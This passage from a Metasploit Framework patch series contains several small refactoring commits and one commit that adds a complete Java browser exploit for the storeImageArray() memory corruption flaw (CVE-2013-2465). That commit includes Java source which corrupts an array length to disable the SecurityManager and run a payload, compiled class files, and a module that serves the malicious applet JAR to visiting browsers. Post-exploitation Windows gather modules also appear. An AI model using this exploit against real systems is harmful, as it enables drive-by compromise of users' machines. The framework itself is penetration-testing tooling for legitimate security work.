$!.message) end @@ -189,21 +189,21 @@ def write_file_contents(ph, fname, data) # StartDocPrinter status,jobid = start_doc_printer(ph, doc, fname) if status != 0 or jobid < 0 - fail_with(Exploit::Failure::Unknown, "Unable to start print job: #{Msf::WindowsError.description(status)}") + fail_with(Failure::Unknown, "Unable to start print job: #{Msf::WindowsError.description(status)}") end print_status("Job started: 0x%x" % jobid) # WritePrinter status,wrote = write_printer(ph, data) if status != 0 or wrote != data.length - fail_with(Exploit::Failure::Unknown, ('Failed to write %d bytes!' % data.length)) + fail_with(Failure::Unknown, ('Failed to write %d bytes!' % data.length)) end print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname]) # EndDocPrinter status = end_doc_printer(ph) if status != 0 - fail_with(Exploit::Failure::Unknown, "Failed to end print job: #{Msf::WindowsError.description(status)}") + fail_with(Failure::Unknown, "Failed to end print job: #{Msf::WindowsError.description(status)}") end end diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index 15f41e012801b..4c27610fc7e87 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -78,7 +78,7 @@ def exploit end if datastore['RUN_WOW64'] and target_arch.first == "x86_64" - fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled") + fail_with(Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled") end # Try and authenticate with given credentials @@ -87,7 +87,7 @@ def exploit smb_login rescue StandardError => autherror disconnect - fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}") + fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}") end # Execute the powershell command print_status("#{peer} - Executing the payload...") @@ -95,7 +95,7 @@ def exploit return psexec(command) rescue StandardError => exec_command_error disconnect - fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") + fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") end end end From 83a179ff08ef8740fc4883e42cb91cca0e237950 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 15 Aug 2013 16:04:35 -0500 Subject: [PATCH 206/454] [Fix RM 8224] - undefined method `include?' for nil:NilClass Bug due to registry_enumkeys returning nil. --- modules/post/windows/gather/enum_shares.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_shares.rb b/modules/post/windows/gather/enum_shares.rb index 04522ba2e4856..01079ec3b4658 100644 --- a/modules/post/windows/gather/enum_shares.rb +++ b/modules/post/windows/gather/enum_shares.rb @@ -56,7 +56,7 @@ def enum_recent_mounts(base_key) recent_mounts = [] partial_path = base_key + "\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer" full_path = "#{partial_path}\\Map Network Drive MRU" - explorer_keys = registry_enumkeys(partial_path) + explorer_keys = registry_enumkeys(partial_path) || '' if explorer_keys.include?("Map Network Drive MRU") vals_found = registry_enumvals(full_path) if vals_found From cd734acf3ef4fcfda0b5cd9b88e6dd5ca6921ab7 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 15 Aug 2013 16:33:10 -0500 Subject: [PATCH 207/454] [See RM 8114] - Reduce false positive if traffic is redirected Fix complaint for hitting this false positive when the user has all the traffic redirected. --- modules/exploits/unix/webapp/basilic_diff_exec.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb index c8a99cdb92fe6..0a6106e7b916c 100644 --- a/modules/exploits/unix/webapp/basilic_diff_exec.rb +++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb @@ -74,7 +74,13 @@ def check }) if res and res.body =~ /#{sig}/ - return Exploit::CheckCode::Vulnerable + if res.code == 302 + # Some undesirable network setup not very friendly for vuln checks. + # See RM8114. + return Exploit::CheckCode::Unknown + else + return Exploit::CheckCode::Vulnerable + end else return Exploit::CheckCode::Safe end From 462ccc3d36d0afaf36c49f10df368cd15610c395 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 15 Aug 2013 16:50:13 -0500 Subject: [PATCH 208/454] Missed these little devils --- modules/exploits/linux/http/dreambox_openpli_shell.rb | 2 +- modules/exploits/multi/misc/hp_vsa_exec.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/dreambox_openpli_shell.rb b/modules/exploits/linux/http/dreambox_openpli_shell.rb index e69152294d813..bfa8763c4e232 100644 --- a/modules/exploits/linux/http/dreambox_openpli_shell.rb +++ b/modules/exploits/linux/http/dreambox_openpli_shell.rb @@ -71,7 +71,7 @@ def exploit }) rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - fail_with(Msf::Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting") end end end diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index 8b893b915acfa..5faa07472c741 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -104,7 +104,7 @@ def get_target return targets[2] end - fail_with(Msf::Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'") + fail_with(Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'") end def exploit From cc5804f5f3f7e3c753e6733f79a9448ee66c0668 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 15 Aug 2013 18:34:51 -0500 Subject: [PATCH 209/454] Add Port for OSVDB 96277 --- .../jre17u21/Exploit$MyColorModel.class | Bin 0 -> 581 bytes .../jre17u21/Exploit$MyColorSpace.class | Bin 0 -> 553 bytes data/exploits/jre17u21/Exploit.class | Bin 0 -> 4084 bytes .../source/exploits/jre17u21/Exploit.java | 197 ++++++++++++++++++ external/source/exploits/jre17u21/Makefile | 14 ++ .../multi/browser/java_storeimagearray.rb | 154 ++++++++++++++ 6 files changed, 365 insertions(+) create mode 100755 data/exploits/jre17u21/Exploit$MyColorModel.class create mode 100755 data/exploits/jre17u21/Exploit$MyColorSpace.class create mode 100755 data/exploits/jre17u21/Exploit.class create mode 100755 external/source/exploits/jre17u21/Exploit.java create mode 100644 external/source/exploits/jre17u21/Makefile create mode 100644 modules/exploits/multi/browser/java_storeimagearray.rb diff --git a/data/exploits/jre17u21/Exploit$MyColorModel.class b/data/exploits/jre17u21/Exploit$MyColorModel.class new file mode 100755 index 0000000000000000000000000000000000000000..e23f2047fb360630c6c2756e1c77129a96d8e02a GIT binary patch literal 581 zcmZWmTT22#7(L^zu5Me}z04v)NDH!etA~~%K?^bj?P;_jC)Qoroo@fBmmVUh=m+$p zqHk)csE0Y{yPWyv%*@;S(<^`tELoVe!7yVZh1m>}n6of%VSyo~`Z6kRGGyv|H$yLw zs!DP5)>nO@WRC<}(wAz7!6|(!$}I-d4bB8Zwk~~fcsb~b@Pv0gs!Yhp4F*H5B&EkZ zQX*u?m+BY%idXoxs>lI97nQG0wcKH_o55w+6Z=wccVZhGT5qAiFcnvdjaxVHg0MN{ zJuUo`)_h-tuE(QDL=J3>XjpV$A^m?wgUowBGvajRk4Jrvz!$#yJU13uu^oouuS@l` zv&xUZ>S?XhsnyCYEYowR=o{!|v=`zGWk7-=a!Ke=c0j!ZacS)ttiAq-MC!$E8@cpR z+tiRGFbvapgt4~%0P~)-45Nf&FbKD>f+|+AP1P}E<EhKUx@(%-g}d(^_UB2vgf6Wd U)e{)UH1PyQ+UFF-N#Z>40k^h%vH$=8 literal 0 HcmV?d00001 diff --git a/data/exploits/jre17u21/Exploit$MyColorSpace.class b/data/exploits/jre17u21/Exploit$MyColorSpace.class new file mode 100755 index 0000000000000000000000000000000000000000..6627d7a880a3938be5e7aee5e8cb490a4f53c6e2 GIT binary patch literal 553 zcmaJ;%TB^T6g>mQN~!V?Um(JQ1rG(HONpCClO||PFm6r3QEFgH+Ck-?+_*3r7k+?W z;#U~&AR)%6i@A?8=gfV~+sDf*fEw}!l1LedU?~a>X&oy%)*0qx&kc$VhG^^HZrJx+ zxkqt(EM$*Mw@ZYkD_ptHV3uZ#@)?6>c^8}^-f{&$9t}F&KXp2NLK0V85@30Qp(nVI z0YkV{wi%4JH}bpu&{ZsRTCH~N+&DTiCbHNt5k=0#9CRI<4CyJScr>=WzUQ}xPFG2P zq_z;;xB5;HaH^G457wPqS??-M-L|ar@9NAi_b0x0Iq51!z1t#?j!=d2CA-}En@)?$ zm;Sp~YtpAPpg>!X&{r^|)PUsYDFZ?jMPZPQQP!Y5L_SeThTosTo)D^39}#{aj3y_$ vh%nhLQdAMgHlYiIeW?rNm0Hu9+54Hom|#0(cj?3l4<Ugy@~WzaWvl|9_*r*L literal 0 HcmV?d00001 diff --git a/data/exploits/jre17u21/Exploit.class b/data/exploits/jre17u21/Exploit.class new file mode 100755 index 0000000000000000000000000000000000000000..442c2bb553ac9d7dff7ae8a9e782bdd983c7415c GIT binary patch literal 4084 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 DXe2@j literal 0 HcmV?d00001 diff --git a/external/source/exploits/jre17u21/Exploit.java b/external/source/exploits/jre17u21/Exploit.java new file mode 100755 index 0000000000000..4e3403c4f0168 --- /dev/null +++ b/external/source/exploits/jre17u21/Exploit.java @@ -0,0 +1,197 @@ +import java.awt.image.*; +import java.awt.color.*; +import java.beans.Statement; +import java.security.*; +import metasploit.Payload; +import java.applet.Applet; + +public class Exploit extends Applet { + + public void init() { + + try { + + // try several attempts to exploit + for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){ + //System.out.println("Attempt #" + i); + tryExpl(); + } + + // check results + if (System.getSecurityManager() == null) { + // execute payload + //Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe"); + Payload.main(null); + } + + } catch (Exception ex) { + //ex.printStackTrace(); + } + } + + public static String toHex(int i) + { + return Integer.toHexString(i); + } + + private boolean _is64 = System.getProperty("os.arch","").contains("64"); + + // we will need ColorSpace which returns 1 from getNumComponents() + class MyColorSpace extends ICC_ColorSpace + { + public MyColorSpace() + { + super(ICC_Profile.getInstance(ColorSpace.CS_sRGB)); + } + + // override getNumComponents + public int getNumComponents() + { + int res = 1; + return res; + } + } + + // we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true. + class MyColorModel extends ComponentColorModel + { + public MyColorModel() + { + super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE); + } + + // override isCompatibleRaster + public boolean isCompatibleRaster(Raster r) + { + boolean res = true; + return res; + } + } + + + private int tryExpl() + { + try { + // alloc aux vars + String name = "setSecurityManager"; + Object[] o1 = new Object[1]; + Object o2 = new Statement(System.class, name, o1); // make a dummy call for init + + // allocate byte buffer for destination Raster. + DataBufferByte dst = new DataBufferByte(16); + + // allocate the target array right after dst + int[] a = new int[8]; + // allocate an object array right after a[] + Object[] oo = new Object[7]; + + // create Statement with the restricted AccessControlContext + oo[2] = new Statement(System.class, name, o1); + + // create powerful AccessControlContext + Permissions ps = new Permissions(); + ps.add(new AllPermission()); + oo[3] = new AccessControlContext( + new ProtectionDomain[]{ + new ProtectionDomain( + new CodeSource( + new java.net.URL("file:///"), + new java.security.cert.Certificate[0] + ), + ps + ) + } + ); + + // store System.class pointer in oo[] + oo[4] = ((Statement)oo[2]).getTarget(); + + // save old a.length + int oldLen = a.length; + //System.out.println("a.length = 0x" + toHex(oldLen)); + + // create regular source image + BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB); + + // prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length + MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0)); + // create malformed destination image based on dst[] data + WritableRaster wr = Raster.createWritableRaster(sm, dst, null); + BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null); + + // prepare first pixel which will overwrite a.length + bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1}); + + // call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c) + AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null); + op.filter(bi1, bi2); + + // check results: a.length should be overwritten by 0xFFFFFFFF + int len = a.length; + //System.out.println("a.length = 0x" + toHex(len)); + if (len == oldLen) { + // check a[] content corruption // for RnD + for(int i=0; i < len; i++) { + if (a[i] != 0) { + //System.out.println("a["+i+"] = 0x" + toHex(a[i])); + } + } + // exit + //System.out.println("error 1"); + return 1; + } + + // ok, now we can read/write outside the real a[] storage, + // lets find our Statement object and replace its private "acc" field value + + // search for oo[] after a[oldLen] + boolean found = false; + int ooLen = oo.length; + for(int i=oldLen+2; i < oldLen+32; i++) + if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null + && a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null + && a[i+5]==0 && a[i+6]==0) // oo[5,6] == null + { + // read pointer from oo[4] + int stmTrg = a[i+4]; + // search for the Statement.target field behind oo[] + for(int j=i+7; j < i+7+64; j++){ + if (a[j] == stmTrg) { + // overwrite default Statement.acc by oo[3] ("AllPermission") + a[j-1] = a[i+3]; + found = true; + break; + } + } + if (found) break; + } + + // check results + if (!found) { + // print the memory dump on error // for RnD + String s = "a["+oldLen+"...] = "; + for(int i=oldLen; i < oldLen+32; i++) s += toHex(a[i]) + ","; + //System.out.println(s); + } else try { + + // call System.setSecurityManager(null) + ((Statement)oo[2]).execute(); + + // show results: SecurityManager should be null + } catch (Exception ex) { + //ex.printStackTrace(); + } + + //System.out.println(System.getSecurityManager() == null ? "Ok.":"Fail."); + + } catch (Exception ex) { + //ex.printStackTrace(); + } + + return 0; + } + +} + + + diff --git a/external/source/exploits/jre17u21/Makefile b/external/source/exploits/jre17u21/Makefile new file mode 100644 index 0000000000000..c6f91b9a189b1 --- /dev/null +++ b/external/source/exploits/jre17u21/Makefile @@ -0,0 +1,14 @@ +CLASSES = Exploit.java + +.SUFFIXES: .java .class +.java.class: + javac -source 1.2 -target 1.2 -cp "../../../../data/java" Exploit.java + +all: $(CLASSES:.java=.class) + +install: + mv *.class ../../../../data/exploits/jre17u21/ + +clean: + rm -rf *.class + diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb new file mode 100644 index 0000000000000..a7afbb16ff7f8 --- /dev/null +++ b/modules/exploits/multi/browser/java_storeimagearray.rb @@ -0,0 +1,154 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default + + include Msf::Exploit::Remote::HttpServer::HTML + + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ :javascript => false }) + + def initialize( info = {} ) + super( update_info( info, + 'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability', + 'Description' => %q{ + This module abuses an Invalid Array Indexing Vulnerability on the + IntegerInterleavedRaster.verify() function in order to produce a + memory corruption and finally escape the Java Sandbox. The vulnerability + affects Java version 7u21 and earlier. The module, which doesn't bypass + click2play, has been tested successfully on Java 7u21 on Windows and + Linux systems. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # From PacketStorm + 'sinn3r', # Metasploit + 'juan vazquez' # Metasploit + ], + 'References' => + [ + [ 'OSVDB', '96277' ], + [ 'EDB', '27526' ] + ], + 'Platform' => [ 'java', 'win', 'linux' ], + 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + [ 'Generic (Java Payload)', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + } + ], + [ 'Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ], + [ 'Linux x86', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 12 2013' + )) + end + + def setup + path = File.join(Msf::Config.install_root, "data", "exploits", "jre17u21", "Exploit.class") + @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.install_root, "data", "exploits", "jre17u21", "Exploit$MyColorModel.class") + @color_model_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.install_root, "data", "exploits", "jre17u21", "Exploit$MyColorSpace.class") + @color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + + @exploit_class_name = rand_text_alpha("Exploit".length) + @color_model_class_name = rand_text_alpha("MyColorModel".length) + @color_space_class_name = rand_text_alpha("MyColorSpace".length) + + @exploit_class.gsub!("Exploit", @exploit_class_name) + @exploit_class.gsub!("MyColorModel", @color_model_class_name) + @exploit_class.gsub!("MyColorSpace", @color_space_class_name) + + @color_model_class.gsub!("Exploit", @exploit_class_name) + @color_model_class.gsub!("MyColorModel", @color_model_class_name) + @color_model_class.gsub!("MyColorSpace", @color_space_class_name) + + + @color_space_class.gsub!("Exploit", @exploit_class_name) + @color_space_class.gsub!("MyColorModel", @color_model_class_name) + @color_space_class.gsub!("MyColorSpace", @color_space_class_name) + + super + end + + def on_request_uri( cli, request ) + print_debug("Requesting: #{request.uri}") + if request.uri !~ /\.jar$/i + if not request.uri =~ /\/$/ + print_status("Sending redirect...") + send_redirect(cli, "#{get_resource}/", '') + return + end + + print_status("Sending HTML...") + send_response_html(cli, generate_html, {'Content-Type'=>'text/html'}) + return + end + + print_status("Sending .jar file...") + send_response(cli, generate_jar(cli), {'Content-Type'=>'application/java-archive'}) + + handler( cli ) + end + + def generate_html + jar_name = rand_text_alpha(5+rand(3)) + html = %Q|<html> + <head> + </head> + <body> + <applet archive="#{jar_name}.jar" code="#{@exploit_class_name}" width="1000" height="1000"> + </applet> + </body> + </html> + | + html = html.gsub(/^\t\t/, '') + return html + end + + def generate_jar(cli) + + p = regenerate_payload(cli) + jar = p.encoded_jar + + jar.add_file("#{@exploit_class_name}.class", @exploit_class) + jar.add_file("#{@exploit_class_name}$#{@color_model_class_name}.class", @color_model_class) + jar.add_file("#{@exploit_class_name}$#{@color_space_class_name}.class", @color_space_class) + metasploit_str = rand_text_alpha("metasploit".length) + payload_str = rand_text_alpha("payload".length) + jar.entries.each { |entry| + entry.name.gsub!("metasploit", metasploit_str) + entry.name.gsub!("Payload", payload_str) + entry.data = entry.data.gsub("metasploit", metasploit_str) + entry.data = entry.data.gsub("Payload", payload_str) + } + jar.build_manifest + + return jar.pack + end + +end \ No newline at end of file From 8602e744da98c36439cf55e25cde2256a9036865 Mon Sep 17 00:00:00 2001 From: jiuweigui <fraktaali@gmail.com> Date: Fri, 16 Aug 2013 02:46:16 +0300 Subject: [PATCH 210/454] Add support for Win2k3 --- modules/post/windows/gather/enum_prefetch.rb | 34 +++++++++++++------- 1 file changed, 23 insertions(+), 11 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 1d0c8e5ea38a8..ca03d6e8e5fbc 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super(update_info(info, 'Name' => 'Windows Gather Prefetch File Information', - 'Description' => %q{This module gathers prefetch file information from WinXP & Win7 systems.}, + 'Description' => %q{This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems.}, 'License' => MSF_LICENSE, 'Author' => ['TJ Glad <fraktaali[at]gmail.com>'], 'Platform' => ['win'], @@ -33,9 +33,9 @@ def prefetch_key_value() elsif key_value == 1 print_good("EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).") elsif key_value == 2 - print_good("EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default).") + print_good("EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default, excl. Win2k3).") elsif key_value == 3 - print_good("EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value).") + print_good("EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value, excl. Win2k3).") else print_error("No value or unknown value. Results might vary.") end @@ -120,15 +120,16 @@ def run # Check to see what Windows Version is running. # Needed for offsets. - # Tested on WinXP and Win7 systems. Should work on WinVista & Win2k3.. + # Tested on WinXP, Win2k3 and Win7 systems. # http://www.forensicswiki.org/wiki/Prefetch # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format - sysnfo = client.sys.config.sysinfo['OS'] + sysnfo = client.sys.config.sysinfo['OS'] + error_msg = "You don't have enough privileges. Try getsystem." if sysnfo =~/(Windows XP)/ if not is_system? - print_error("You don't have enough privileges. Try getsystem.") + print_error(error_msg) return nil end # Offsets for WinXP @@ -140,9 +141,23 @@ def run # Registry key for timezone key_value = "StandardName" + elsif sysnfo =~/(Windows .NET Server)/ + if not is_system? + print_error(error_msg) + return nil + end + # Offsets for Win2k3 + print_good("Detected Windows 2k3 (max 128 entries)") + name_offset = 0x10 + hash_offset = 0x4C + lastrun_offset = 0x78 + runcount_offset = 0x90 + # Registry key for timezone + key_value = "StandardName" + elsif sysnfo =~/(Windows 7)/ if not is_admin? - print_error("You don't have enough privileges. Try getsystem.") + print_error(error_msg) return nil end # Offsets for Win7 @@ -155,7 +170,7 @@ def run key_value = "TimeZoneKeyName" else - print_error("No offsets for the target Windows version. Currently works only on WinXP and Win7.") + print_error("No offsets for the target Windows version. Currently works only on WinXP, Win2k3 and Win7.") return nil end @@ -171,10 +186,7 @@ def run "Filename" ]) - print_status("Searching for Prefetch Registry Value.") - prefetch_key_value - print_status("Searching for TimeZone Registry Values.") timezone_key_values(key_value) From c5c2aebf1513b7021dec98660f647dac258e3a9a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 15 Aug 2013 22:04:15 -0500 Subject: [PATCH 211/454] Update references --- modules/exploits/multi/browser/java_storeimagearray.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb index a7afbb16ff7f8..d742db5a2f057 100644 --- a/modules/exploits/multi/browser/java_storeimagearray.rb +++ b/modules/exploits/multi/browser/java_storeimagearray.rb @@ -21,7 +21,7 @@ def initialize( info = {} ) 'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability', 'Description' => %q{ This module abuses an Invalid Array Indexing Vulnerability on the - IntegerInterleavedRaster.verify() function in order to produce a + static function storeImageArray() function in order to produce a memory corruption and finally escape the Java Sandbox. The vulnerability affects Java version 7u21 and earlier. The module, which doesn't bypass click2play, has been tested successfully on Java 7u21 on Windows and @@ -36,8 +36,11 @@ def initialize( info = {} ) ], 'References' => [ - [ 'OSVDB', '96277' ], - [ 'EDB', '27526' ] + [ 'CVE', '2013-2465' ], + [ 'OSVDB', '96269' ], + [ 'EDB', '27526' ], + [ 'URL', 'http://packetstormsecurity.com/files/122777/' ], + [ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040' ] ], 'Platform' => [ 'java', 'win', 'linux' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, From 7d3c67614d51f7032c4784a884a7cf64ca95a242 Mon Sep 17 00:00:00 2001 From: Josh 